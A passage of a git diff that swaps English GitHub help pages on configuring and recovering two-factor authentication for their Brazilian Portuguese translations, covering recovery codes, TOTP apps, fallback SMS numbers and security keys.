-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
+- [Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication)"
+- "[Configurar métodos de recuperação de autenticação de dois fatores](/articles/configuring-two-factor-authentication-recovery-methods)"
diff --git a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
index d8d0f02c3a..0ebb7e52de 100644
--- a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
+++ b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication recovery methods
-intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials.
+title: Configurar métodos de recuperação da autenticação de dois fatores
+intro: Você pode configurar vários métodos de recuperação para acessar sua conta em caso de perda das credenciais da autenticação de dois fatores.
 redirect_from:
   - /articles/downloading-your-two-factor-authentication-recovery-codes
   - /articles/setting-a-fallback-authentication-number
@@ -16,75 +16,71 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Configure 2FA recovery
+shortTitle: Configurar recuperação de 2FA
 ---
-In addition to securely storing your two-factor authentication recovery codes, we strongly recommend configuring one or more additional recovery methods.
 
-## Downloading your two-factor authentication recovery codes
+Além de armazenar com segurança os códigos de recuperação da autenticação de dois fatores, é enfaticamente recomendável configurar um ou mais métodos adicionais de recuperação.
 
-{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication.
+## Baixar os códigos de recuperação da autenticação de dois fatores
 
-To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager, such as:
+{% data reusables.two_fa.about-recovery-codes %} Você também pode baixar os códigos de recuperação a qualquer momento depois de habilitar a autenticação de dois fatores.
+
+Para manter sua conta protegida, não compartilhe nem distribua seus códigos de recuperação. É recomendável salvá-los com um gerenciador de senhas seguro, como o:
 - [1Password](https://1password.com/)
 - [LastPass](https://lastpass.com/)
 
-If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update.
+Em caso de geração de novos códigos de recuperação ou desabilitação e reabilitação da 2FA, os códigos nas configurações de segurança serão atualizados automaticamente.
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-4. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-  ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+4. Salve os códigos de recuperação em um local seguro. Seus códigos de recuperação podem ajudar você a ter acesso novamente à sua conta no caso de perda do acesso.
+    - Para salvar os códigos de recuperação no dispositivo, clique em **Download** (Baixar).
+    - Para salvar uma cópia impressa dos códigos de recuperação, clique em **Print** (Imprimir).
+    - Para copiar os códigos de recuperação para armazenamento em um gerenciador de senhas, clique em **Copy** (Copiar). ![Lista de códigos de recuperação com opção para baixar, imprimir ou copiar os códigos](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
 
-## Generating a new set of recovery codes
+## Gerar um conjunto de códigos de recuperação
 
-Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated.
+Depois que você usa um código de recuperação para voltar a ter acesso à sua conta, ele não pode ser reutilizado. Se os 16 códigos de recuperação já foram usados, você pode gerar outra lista de códigos. Gerar um novo conjunto de códigos de recuperação invalidará outros códigos gerados anteriormente.
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-3. To create another batch of recovery codes, click **Generate new recovery codes**.
-	![Generate new recovery codes button](/assets/images/help/2fa/generate-new-recovery-codes.png)
+3. Para criar outro branch de códigos de recuperação, clique em **Generate new recovery codes** (Gerar novos códigos de recuperação). ![Botão Generate new recovery codes (Gerar novos códigos de recuperação)](/assets/images/help/2fa/generate-new-recovery-codes.png)
 
-## Configuring a security key as an additional two-factor authentication method
+## Configurar uma chave de segurança como um método adicional da autenticação de dois fatores
 
-You can set up a security key as a secondary two-factor authentication method, and use the security key to regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+Você pode configurar uma chave de segurança como um método secundário da autenticação de dois fatores e usá-la para voltar a ter acesso à sua conta. Para obter mais informações, consulte "[Configurar autenticação de dois fatores](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)".
 
 {% ifversion fpt or ghec %}
 
-## Setting a fallback authentication number
+## Configurar um número de autenticação de fallback
 
-You can provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+É possível fornecer um segundo número para um dispositivo de fallback. Se você perder acesso ao dispositivo principal e aos códigos de recuperação, um número de SMS de backup pode ajudar a acessar a sua conta.
 
-You can use a fallback number regardless of whether you've configured authentication via text message or TOTP mobile application.
+Você pode usar um número de fallback, independentemente de ter configurado a autenticação por mensagem de texto ou aplicativo móvel TOTP.
 
 {% warning %}
 
-**Warning:** Using a fallback number is a last resort. We recommend configuring additional recovery methods if you set a fallback authentication number.
-- Bad actors may attack cell phone carriers, so SMS authentication is risky.
-- SMS messages are only supported for certain countries outside the US; for the list, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**Aviso:** usar um número de fallback é o último recurso. É recomendável configurar métodos de recuperação adicionais no de caso de definir um número de autenticação de fallback.
+- Invasores podem atacar as operadores de celular, colocando a autenticação por SMS em risco.
+- As mensagens SMS são aceitas somente em determinados países fora dos EUA; para obter uma lista, consulte "[Países onde a autenticação por SMS é aceita](/articles/countries-where-sms-authentication-is-supported)".
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "Fallback SMS number", click **Add**.
-![Add fallback SMS number button](/assets/images/help/2fa/add-fallback-sms-number-button.png)
-4. Under "Fallback SMS number", click **Add fallback SMS number**.
-![Add fallback SMS number text](/assets/images/help/2fa/add_fallback_sms_number_text.png)
-5. Select your country code and type your mobile phone number, including the area code. When your information is correct, click **Set fallback**.
-	![Set fallback SMS number](/assets/images/help/2fa/2fa-fallback-number.png)
+3. Ao lado de "Fallback SMS number" (Número para SMS do fallback), clique em **Add** (Adicionar). ![Botão Add fallback SMS number (Adicionar número para SMS do fallback)](/assets/images/help/2fa/add-fallback-sms-number-button.png)
+4. Em "Fallback SMS number" (Número para SMS do fallback), clique em **Add fallback SMS number** (Adicionar número para SMS do fallback). ![Texto Adicionar número para SMS do fallback](/assets/images/help/2fa/add_fallback_sms_number_text.png)
+5. Selecione o código do seu país e digite o número do celular, incluindo o código de área. Confirme se as informações estão corretas e clique em **Set fallback** (Definir fallback). ![Definir número para SMS do fallback](/assets/images/help/2fa/2fa-fallback-number.png)
 
-After setup, the backup device will receive a confirmation SMS.
+Após a configuração, o dispositivo de backup receberá um SMS de confirmação.
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- [Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication)"
+- "[Configurar a autenticação de dois fatores](/articles/configuring-two-factor-authentication)"
+- "[Acessar o {% data variables.product.prodname_dotcom %} usando a autenticação de dois fatores](/articles/accessing-github-using-two-factor-authentication)"
+- "[Recuperar sua conta se você perder as credenciais da autenticação de dois fatores](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
index b1b364e782..60f16f1e8e 100644
--- a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
+++ b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication
-intro: You can choose among multiple options to add a second source of authentication to your account.
+title: Configurar a autenticação de dois fatores
+intro: Você pode escolher entre várias opções de adicionar uma segunda fonte de autenticação à sua conta.
 redirect_from:
   - /articles/configuring-two-factor-authentication-via-a-totp-mobile-app
   - /articles/configuring-two-factor-authentication-via-text-message
@@ -14,128 +14,119 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Configure 2FA
+shortTitle: Configurar 2FA
 ---
-You can configure two-factor authentication using a mobile app{% ifversion fpt or ghec %} or via text message{% endif %}. You can also add a security key.
 
-We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA.{% ifversion fpt or ghec %} TOTP applications are more reliable than SMS, especially for locations outside the United States.{% endif %} TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device.
+Você pode configurar a autenticação de dois fatores usando um app móvel{% ifversion fpt or ghec %} ou por mensagem de texto{% endif %}. Também é possível adicionar uma chave de segurança.
+
+É enfaticamente recomendável usar um aplicativo de senhas avulsas por tempo limitado (TOTP, Time-based One-Time Password) para configurar a 2FA.{% ifversion fpt or ghec %} Os aplicativos TOTP são mais confiáveis que o SMS, especialmente para locais fora dos Estados Unidos.{% endif %} Os apps TOTP aceitam o backup seguro dos seus códigos de autenticação na nuvem e podem ser restaurados caso você perca o acesso ao seu dispositivo.
 
 {% warning %}
 
-**Warning:**
-- If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a private repository of an organization that requires two-factor authentication, you must leave the organization before you can disable 2FA on {% data variables.product.product_location %}.
-- If you disable 2FA, you will automatically lose access to the organization and any private forks you have of the organization's private repositories. To regain access to the organization and your forks, re-enable two-factor authentication and contact an organization owner.
+**Aviso:**
+- Se você for um integrante{% ifversion fpt or ghec %}, gerente de cobrança{% endif %} ou colaborador externo de um repositório privado em uma organização que exige a autenticação de dois fatores, será preciso deixar a organização para que seja possível desabilitar a 2FA no {% data variables.product.product_location %}.
+- Ao desabilitar a 2FA, você perderá acesso automaticamente à organização e a qualquer bifurcação privada que tenha dos repositórios privados da organização. Para recuperar o acesso à organização e às bifurcações, reabilite a autenticação de dois fatores e entre em contato com um proprietário da organização.
 
 {% endwarning %}
 
 {% ifversion fpt or ghec %}
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.product.prodname_managed_user %} account. 2FA should be configured through your identity provider. 
+Se você for um integrante de um {% data variables.product.prodname_emu_enterprise %}, você não poderá configurar a 2FA para sua conta de {% data variables.product.prodname_managed_user %}. A 2FA deve ser configurado por meio do seu provedor de identidade.
 
 {% endif %}
 
-## Configuring two-factor authentication using a TOTP mobile app
+## Configurar a autenticação de dois fatores usando um app móvel TOTP
 
-A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. We recommend using cloud-based TOTP apps such as:
+Um aplicativo de senhas avulsas por tempo limitado (TOTP, Time-based One-Time Password) gera automaticamente um código de autenticação que é alterado após um determinado período. É recomendável usar apps TOTP baseados na nuvem, como:
 - [1Password](https://support.1password.com/one-time-passwords/)
 - [Authy](https://authy.com/guides/github/)
 - [LastPass Authenticator](https://lastpass.com/auth/)
-- [Microsoft Authenticator](https://www.microsoft.com/en-us/account/authenticator/)
+- [Autenticador da Microsoft](https://www.microsoft.com/en-us/account/authenticator/)
 
 {% tip %}
 
-**Tip**: To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time. If 2FA is already enabled and you want to add another device, you must re-configure 2FA from your security settings.
+**Dica**: para configurar a autenticação via TOTP em vários dispositivos, durante a configuração, faça a leitura do código QR usando todos os dispositivos ao mesmo tempo. Se a 2FA já estiver habilitada e você desejar adicionar outro dispositivo, será necessário reconfigurar a 2FA nas configurações de segurança.
 
 {% endtip %}
 
-1. Download a TOTP app.
+1. Baixe um app TOTP.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
 {%- ifversion fpt or ghes > 3.1 %}
-5. Under "Two-factor authentication", select **Set up using an app** and click **Continue**.
-6. Under "Authentication verification", do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead.
-    ![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
-7. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application". If your recovery codes are not automatically displayed, click **Continue**.
-![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
+5. Em "Autenticação de dois fatores", selecione **Configurar usando um aplicativo** e clique em **Continuar**.
+6. Em "Verificação de autenticação", siga um dos passos abaixo:
+    - Faça a leitura do código QR com o app do dispositivo móvel. Após a leitura, o app exibirá um código de seis dígitos que pode ser inserido no {% data variables.product.product_name %}.
+    - Se você não puder ler o código QR, clique em **Insira este código de texto** para ver um código que você pode inserir manualmente no seu aplicativo TOTP. ![Clique para inserir este código](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
+7. O aplicativo móvel TOTP salva a sua conta em {% data variables.product.product_location %} e gera um novo código de autenticação a cada poucos segundos. Em {% data variables.product.product_name %}, digite o código no campo em "Insira o código de seis dígitos no aplicativo". Se seus códigos de recuperação não forem exibidos automaticamente, clique em **Continuar**. ![TOTP inserir o campo do código](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {%- else %}
-5. On the Two-factor authentication page, click **Set up using an app**.
-6. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-    ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
-7. After saving your two-factor recovery codes, click **Next**.
-8. On the Two-factor authentication page, do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code you can copy and manually enter on {% data variables.product.product_name %} instead.
-    ![Click enter this code](/assets/images/help/2fa/totp-click-enter-code.png)
-9. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, on the 2FA page, type the code and click **Enable**.
-	![TOTP Enable field](/assets/images/help/2fa/totp-enter-code.png)
+5. Na página de autenticação de dois fatores, clique em **Set up using an app** (Configurar usando um app).
+6. Salve os códigos de recuperação em um local seguro. Seus códigos de recuperação podem ajudar você a ter acesso novamente à sua conta no caso de perda do acesso.
+    - Para salvar os códigos de recuperação no dispositivo, clique em **Download** (Baixar).
+    - Para salvar uma cópia impressa dos códigos de recuperação, clique em **Print** (Imprimir).
+    - Para copiar os códigos de recuperação para armazenamento em um gerenciador de senhas, clique em **Copy** (Copiar). ![Lista de códigos de recuperação com opção para baixar, imprimir ou copiar os códigos](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+7. Depois de salvar os seus códigos de recuperação de dois fatores, clique em **Próximo**.
+8. Na página de autenticação de dois fatores, siga um destes procedimentos:
+    - Faça a leitura do código QR com o app do dispositivo móvel. Após a leitura, o app exibirá um código de seis dígitos que pode ser inserido no {% data variables.product.product_name %}.
+    - Se não for possível ler o código QR, clique em **enter this text code** (digite este código de texto) para ver um código que pode ser copiado e inserido manualmente no {% data variables.product.product_name %}. ![Clique para inserir este código](/assets/images/help/2fa/totp-click-enter-code.png)
+9. O aplicativo móvel TOTP salva a sua conta em {% data variables.product.product_location %} e gera um novo código de autenticação a cada poucos segundos. Na página de 2FA do {% data variables.product.product_name %}, digite o código e clique em **Enable** (Habilitar). ![Campo para habilitar TOTP](/assets/images/help/2fa/totp-enter-code.png)
 {%- endif %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% ifversion fpt or ghec %}
 
-## Configuring two-factor authentication using text messages
+## Configurar a autenticação de dois fatores usando mensagens de texto
 
-If you're unable to authenticate using a TOTP mobile app, you can authenticate using SMS messages. You can also provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+Se não for possível autenticar usando um app móvel TOTP, você pode autenticar usando mensagens SMS. Também é possível fornecer um segundo número para um dispositivo de fallback. Se você perder acesso ao dispositivo principal e aos códigos de recuperação, um número de SMS de backup pode ajudar a acessar a sua conta.
 
-Before using this method, be sure that you can receive text messages. Carrier rates may apply.
+Antes de usar esse método, certifique-se de que é possível receber mensagens de texto. Pode ser que as operadores apliquem taxas.
 
 {% warning %}
 
-**Warning:** We **strongly recommend** using a TOTP application for two-factor authentication instead of SMS. {% data variables.product.product_name %} doesn't support sending SMS messages to phones in every country. Before configuring authentication via text message, review the list of countries where {% data variables.product.product_name %} supports authentication via SMS. For more information, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**Aviso:** é **enfaticamente recomendável** usar um aplicativo TOTP para a autenticação de dois fatores no lugar de SMS. O {% data variables.product.product_name %} não permite enviar mensagens SMS a telefones de todos os países. Antes de configurar a autenticação por mensagem de texto, veja a lista de países onde o {% data variables.product.product_name %} aceita a autenticação por SMS. Para obter mais informações, consulte "[Países onde a autenticação por SMS é aceita](/articles/countries-where-sms-authentication-is-supported)".
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
-4. Under "Two-factor authentication", select **Set up using SMS** and click **Continue**.
-5. Under "Authentication verification", select your country code and type your mobile phone number, including the area code. When your information is correct, click **Send authentication code**.
+4. Em "Autenticação de dois fatores", selecione **Configurar usando SMS** e clique em **Continuar**.
+5. Em "Verificação de autenticação", selecione o código do seu país e digite seu número de telefone celular, incluindo o código de área. Confirme se as informações estão corretas e clique em **Send authentication code** (Enviar código de autenticação).
 
-  ![2FA SMS screen](/assets/images/help/2fa/2fa_wizard_sms_send.png)
+  ![Tela de SMS da 2FA](/assets/images/help/2fa/2fa_wizard_sms_send.png)
 
-6. You'll receive a text message with a security code. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**.
+6. Você receberá uma mensagem de texto com um código de segurança. Em {% data variables.product.product_name %}, digite o código no campo em "Insira o código de seis dígitos enviado para o seu telefone" e clique em **Continuar**.
 
-  ![2FA SMS continue field](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
+  ![Campo para continuação de SMS por 2FA](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% endif %}
 
-## Configuring two-factor authentication using a security key
+## Configurar a autenticação de dois fatores usando uma chave de segurança
 
 {% data reusables.two_fa.after-2fa-add-security-key %}
 
-On most devices and browsers, you can use a physical security key over USB or NFC. Some browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key.
+Na maioria dos dispositivos e navegadores, você pode usar uma chave de segurança física por USB ou NFC. Alguns navegadores podem usar um leitor de impressões digitais, reconhecimento facial ou senha/PIN no seu dispositivo como chave de segurança.
 
-Authentication with a security key is *secondary* to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in.
+A autenticação com uma chave de segurança é *uma alternativa* à autenticação com um aplicativo TOTP{% ifversion fpt or ghec %} ou uma mensagem de texto{% endif %}. Se você perder sua chave de segurança, você poderá usar o código do seu telefone para entrar.
 
-1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}.
-2. Ensure that you have a WebAuthn compatible security key inserted into your computer.
+1. Você já deve ter configurado a 2FA usando um app móvel TOTP{% ifversion fpt or ghec %} ou por SMS{% endif %}.
+2. Certifique-se de que você tem uma chave de segurança compatível com o WebAuthn inserido em seu computador.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-5. Next to "Security keys", click **Add**.
-  ![Add security keys option](/assets/images/help/2fa/add-security-keys-option.png)
-6. Under "Security keys", click **Register new security key**.
-  ![Registering a new security key](/assets/images/help/2fa/security-key-register.png)
-7. Type a nickname for the security key, then click **Add**.
-  ![Providing a nickname for a security key](/assets/images/help/2fa/security-key-nickname.png)
-8. Activate your security key, following your security key's documentation.
-  ![Prompt for a security key](/assets/images/help/2fa/security-key-prompt.png)
-9.  Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. If you lose access to your account, you can use your recovery codes to get back into your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
-	![Download recovery codes button](/assets/images/help/2fa/2fa-recover-during-setup.png)
+5. Ao lado de "Security keys" (Chaves de segurança), clique em **Add** (Adicionar). ![Opção para adicionar chaves de segurança](/assets/images/help/2fa/add-security-keys-option.png)
+6. Em "Security keys" (Chaves de segurança), clique em **Register new security key** (Registrar nova chave de segurança). ![Registrar uma nova chave de segurança](/assets/images/help/2fa/security-key-register.png)
+7. Digite um apelido para a chave de segurança e clique em **Add** (Adicionar). ![Fornecer um apelido para uma chave de segurança](/assets/images/help/2fa/security-key-nickname.png)
+8. Ative a chave de segurança seguindo as orientações na documentação da sua chave de segurança. ![Solicitação de chave de segurança](/assets/images/help/2fa/security-key-prompt.png)
+9.  Verifique se você baixou e pode acessar os códigos de recuperação. Se ainda não os baixou ou se deseja gerar outro conjunto de códigos, baixe seus códigos e salve-os em um local seguro. Caso perca o acesso à sua conta, é possível usar os códigos de recuperação para voltar a ela. Para obter mais informações, consulte "[Recuperar sua conta se você perder as credenciais da 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)". ![Botão para download de códigos de recuperação](/assets/images/help/2fa/2fa-recover-during-setup.png)
 {% data reusables.two_fa.test_2fa_immediately %}
 
-## Further reading
+## Leia mais
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
+- [Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication)"
+- "[Configurar métodos de recuperação de autenticação de dois fatores](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Acessar o {% data variables.product.prodname_dotcom %} usando a autenticação de dois fatores](/articles/accessing-github-using-two-factor-authentication)"
+- "[Recuperar sua conta se você perder as credenciais da 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)"
diff --git a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
index 84d2bd82bf..890f8d0539 100644
--- a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
+++ b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your account with two-factor authentication (2FA)
-intro: 'You can set up your account on {% data variables.product.product_location %} to require an authentication code in addition to your password when you sign in.'
+title: Proteger sua conta com a autenticação de dois fatores (2FA)
+intro: 'Você pode configurar sua conta no {% data variables.product.product_location %} para exigir um código de autenticação além da sua senha quando você efetuar o login.'
 redirect_from:
   - /categories/84/articles
   - /categories/two-factor-authentication-2fa
@@ -21,6 +21,6 @@ children:
   - /changing-two-factor-authentication-delivery-methods-for-your-mobile-device
   - /countries-where-sms-authentication-is-supported
   - /disabling-two-factor-authentication-for-your-personal-account
-shortTitle: Secure your account with 2FA
+shortTitle: Proteja sua conta com 2FA
 ---
 
diff --git a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
index b734154e2b..9782828eb5 100644
--- a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
+++ b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your account if you lose your 2FA credentials
-intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.'
+title: Recuperar sua conta ao perder as credenciais 2FA
+intro: 'Se você perder acesso às suas credenciais de autenticação de dois fatores, você poderá usar seus códigos de recuperação ou outra opção de recuperação, para recuperar o acesso à sua conta.'
 redirect_from:
   - /articles/recovering-your-account-if-you-lost-your-2fa-credentials
   - /articles/authenticating-with-an-account-recovery-token
@@ -13,75 +13,68 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Recover an account with 2FA
+shortTitle: Recuperar uma conta com 2FA
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning**: {% data reusables.two_fa.support-may-not-help %}
+**Aviso**: {% data reusables.two_fa.support-may-not-help %}
 
 {% endwarning %}
 
 {% endif %}
 
-## Using a two-factor authentication recovery code
+## Usar um código de recuperação da autenticação de dois fatores
 
-Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)."
+Use um dos códigos de recuperação para obter acesso automaticamente à sua conta. Seus códigos de recuperação podem estar salvos em um gerenciador de senhas ou na pasta de downloads do seu computador. O nome padrão do arquivo de códigos de recuperação é `github-recovery-codes.txt`. Para obter mais informações sobre códigos de recuperação, consulte "[Configurar métodos de recuperação da autenticação de dois fatores](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)".
 
 {% data reusables.two_fa.username-password %}{% ifversion fpt or ghec %}
-2. Under "Having Problems?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
-2. On the 2FA page, under "Don't have your phone?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
-3. Type one of your recovery codes, then click **Verify**.
-  ![Field to type a recovery code and Verify button](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
+2. Em "Encontrou algum problema?", clique em **Insira um código de recuperação de dois fatores**. ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
+2. Na página da 2FA, em "Don't have your phone?" (Não está com seu telefone?), clique em **Enter a two-factor recovery code** (Digite um código de recuperação de dois fatores). ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
+3. Digite um dos seus códigos de recuperação e clique em **Verify** (Verificar). ![Campo para digitar um código de recuperação e botão Verify (Verificar)](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
 
 {% ifversion fpt or ghec %}
-## Authenticating with a fallback number
+## Autenticar com um número de telefone alternativo
 
-If you lose access to your primary TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account.
+Se você perder o acesso ao seu aplicativo TOTP principal ou número de telefone, é possível fornecer um código de autenticação de dois fatores enviado para seu número de telefone alternativo e conseguir acessar automaticamente sua conta.
 {% endif %}
 
-## Authenticating with a security key
+## Autenticar com uma chave de segurança
 
-If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+Se você configurou a autenticação de dois fatores com uma chave de segurança, você pode usar a chave de segurança como método de autenticação secundário para reaver automaticamente o acesso à sua conta. Para obter mais informações, consulte "[Configurar autenticação de dois fatores](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)".
 
 {% ifversion fpt or ghec %}
-## Authenticating with a verified device, SSH token, or personal access token
+## Efetuar a autenticação com um dispositivo verificado, token SSH ou token de acesso pessoal
 
